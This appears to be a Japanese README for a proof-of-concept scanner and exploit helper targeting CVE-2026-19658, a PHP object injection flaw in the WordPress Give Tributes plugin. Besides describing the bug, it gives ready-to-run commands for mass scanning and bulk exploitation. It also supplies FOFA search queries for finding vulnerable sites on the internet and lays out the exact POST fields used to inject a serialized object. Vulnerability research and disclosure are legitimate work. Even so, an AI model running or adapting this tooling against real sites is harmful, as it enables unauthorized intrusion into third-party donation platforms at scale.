
CVE-2026-19658(WordPress Give TributesのPHPオブジェクトインジェクション脆弱性)に対応するPython 3のチェッカー兼エクスプロイトヘルパー。FOFAによるターゲット探索とレガシー寄付フォームのエクスプロイト機能を備える。
WordPress アドオン Give - Tributes (Liquid Web / GiveWP) における CVE-2026-19658 の Python 3 による概念実証 スキャナーおよび寄付チェーンエクスプロイトヘルパー。
| プラットフォーム | WordPress プラグイン (GiveWP コアが必要) |
| コンポーネント | Give - Tributes |
| 影響を受けるバージョン | ≤ 2.3.1 |
| 修正バージョン | 2.3.1.1+ (サニタイズされた複数受信者 eCard フィールド) |
| CVSS | 9.8 Critical |
| 認証 | 未認証 (レガシー寄付フォーム) |
| CWE | CWE-502 — 信頼できないデータのデシリアライズ |
| 割り当て者 | Wordfence |
eCard で Allow Multiple Recipients が有効化されており、かつ eCard custom message が無効化されている (デフォルト) 場合、脆弱なバージョンでは 生の $_POST eCard 受信者データが寄付メタに保存されます。GiveWP のフィールド検証は $_POST の give_clean() コピーを使用します (シリアライズされた文字列はそこで空白化されます) が、insert_tribute_data() は サニタイズされていない $_POST を読み取るため、2 番目の受信者の first_name / last_name に PHP シリアライズオブジェクトを含めることができます。
影響: Give Tributes 単体では既知の POP チェーンはありません。メタは読み取り時 (例: 管理者による eCard プレビュー/再送信) にデシリアライズされます。RCE または破壊的な影響 には、別の インストール済みプラグインまたはテーマからのガジェットチェーンが必要です。
[give_form] / v2)、v3 専用の Visual Form Builder ではないmanual)pip install -r requirements.txtpip install -r requirements.txt
# 単一ターゲット — チェック (--list ではデフォルトでターミナルフローが有効)
python poc.py -u https://target.example --mode check
# 一括チェック
python poc.py --list targets.example.txt --mode check --threads 20 --flow
# 単一ターゲット — エクスプロイト (許可されたターゲットのみ)
python poc.py -u https://target.example --mode exploit \
--form-url /donate/ --form-id 123 --gateway manual \
--payload 'O:8:"stdClass":0:{}'
# チェック出力からの一括エクスプロイト
python poc.py --list candidates.jsonl --mode exploit --threads 8 --flow \
--vuln-list exploited.txt
例:
body="/wp-content/plugins/give-tributes/"
body="give-tributes" && body="givewp"
ホストリスト (1 行に 1 ドメイン):
python poc.py --list my_hosts.txt --mode check --threads 20 --flow
FOFA CSV エクスポート:
python fofa_to_list.py -i fofa_export.csv
python poc.py --list list.txt --mode check --threads 20
エクスプロイト実行時は --vuln-list exploited.txt を使用して、hits.txt 内のチェックヒットが上書きされないようにしてください。
status 値リモートスキャンでは「Allow Multiple Recipients」を確実に確認することは できません。候補はエクスプロイト時に失敗する可能性があります。
first_name フィールドです。manual ゲートウェイ は本番環境では無効化されていることが多いため、フォーム上で表示されるゲートウェイ (stripe、paypal、test、…) を試してください。give validation rejected donation: tribute/notify オプション、金額、またはゲートウェイの不一致。give_tributes_show_dedication=yes
give_tributes_would_to=send_eCard
give_tributes_ecard_notify[recipient][first_name][]=Valid
give_tributes_ecard_notify[recipient][first_name][]=<serialized payload>
give_tributes_ecard_notify[recipient][email][]=<donor email>
give_tributes_ecard_notify[recipient][email][][email protected]
…
.
├── poc.py
├── fofa_to_list.py
├── requirements.txt
├── targets.example.txt
├── README.md
├── LICENSE
└── .gitignore
ローカルスキャンリストと実行成果物 (list.txt、fofa*.csv、*.jsonl、hits.txt、…) は .gitignore に含まれており、コミットしないでください。
許可されたセキュリティテストおよび教育 のみを目的としています。適用される法律およびプログラム規則の遵守はあなたの責任です。
| オプション | 説明 |
|---|
-u, --url | 単一のベース URL |
--list | URL リスト、ホストファイル、または candidates.jsonl |
--mode | check または exploit |
--form-url | 寄付ページのパスまたは完全な URL |
--form-id | Give フォームの投稿 ID |
--paths | フォームをクロールする追加パス |
--payload | 2 番目の受信者の first_name 用のシリアライズオブジェクト |
--gateway | Give の payment-mode (デフォルト manual) |
--email | 寄付者の give_email |
--flow | 一括実行時にターゲットごとに 1 行 (--list でデフォルト) |
--no-flow | 進捗サマリーのみ |
--quiet, -q | コンソール出力を最小化 |
--threads, -j | 一括同時実行数 (デフォルト 12) |
--output | JSONL ログ (デフォルト cve_2026_19658_results.jsonl) |
--vuln-list | テキストのヒット / エクスプロイト行 (デフォルト hits.txt) |
--candidates-list | チェックメタデータ JSONL (デフォルト candidates.jsonl) |
| ファイル | モード | 内容 |
|---|
cve_2026_19658_results.jsonl | 両方 | ターゲットごとの完全な JSON |
hits.txt | check | exploitable_candidate を含む URL |
candidates.jsonl | check | best_form、バージョンヒント |
exploited.txt | exploit | 寄付が確認された場合の url|payment=… |
| ステータス | 意味 |
|---|
candidate | 脆弱なプラグイン + Give + tributes UI を持つレガシーフォーム |
vulnerable_no_form | プラグイン/バージョンは OK、クロールしたパスに適切なフォームが見つからない |
patched | Tributes > 2.3.1 または ≥ 2.3.1.1 (バージョンが読み取れる場合) |
give_only | Tributes が検出できない Give |
no_plugin | Tributes が検出されない |